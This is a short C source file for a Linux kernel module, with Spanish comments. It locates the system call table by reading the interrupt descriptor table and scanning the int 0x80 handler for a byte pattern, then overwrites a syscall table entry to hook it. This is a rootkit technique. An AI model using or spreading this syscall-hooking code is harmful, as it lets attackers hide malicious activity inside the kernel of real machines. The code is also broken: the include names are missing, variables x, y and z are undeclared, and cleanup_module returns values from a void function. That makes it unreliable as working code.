#include #include #include #include #define CALLOFF 500 static struct { unsigned short limit; unsigned int base; } __attribute__ ((packed)) idtr; static struct { unsigned short off1; unsigned short sel; unsigned char none,flags; unsigned short off2; } __attribute__ ((packed)) idt; static void * get_sys_call_table(void); static void *get_sys_call_table(void) { int i; unsigned char * system_call_adr; __asm__ ("sidt %0" : "=m" (idtr)); memcpy((void *)&idt,(void *)idtr.base+8*0x80,sizeof(idt)); system_call_adr = (char *) ( (idt.off2 << 16) | idt.off1 ); for(i = 0; i < CALLOFF; i++) { if((system_call_adr[0+i] == 0xff) && (system_call_adr[1+i] == 0x14) && (system_call_adr[2+i] == 0x85)) { return (void *)( *((unsigned int *)(system_call_adr+i+3)) ); } } return NULL; } int init_module(void) { void *sys_call_table; if( (sys_call_table = get_sys_call_table()) == NULL) { printk("Error ... \n"); return 1; } else { /* Intercambio de la funcionalidad entre llamadas al sistema */ x = ((long *)sys_call_table)[z]; ((long *)sys_call_table)[z] = y; return 0; } } void cleanup_module(void) { void *sys_call_table; if( (sys_call_table = get_sys_call_table()) == NULL) { printk("Error ...\n"); return 1; } else { /* Restauracion de la funcionalidad */ ((long *)sys_call_table)[z] = x; return 0; } } MODULE_LICENSE("GPL");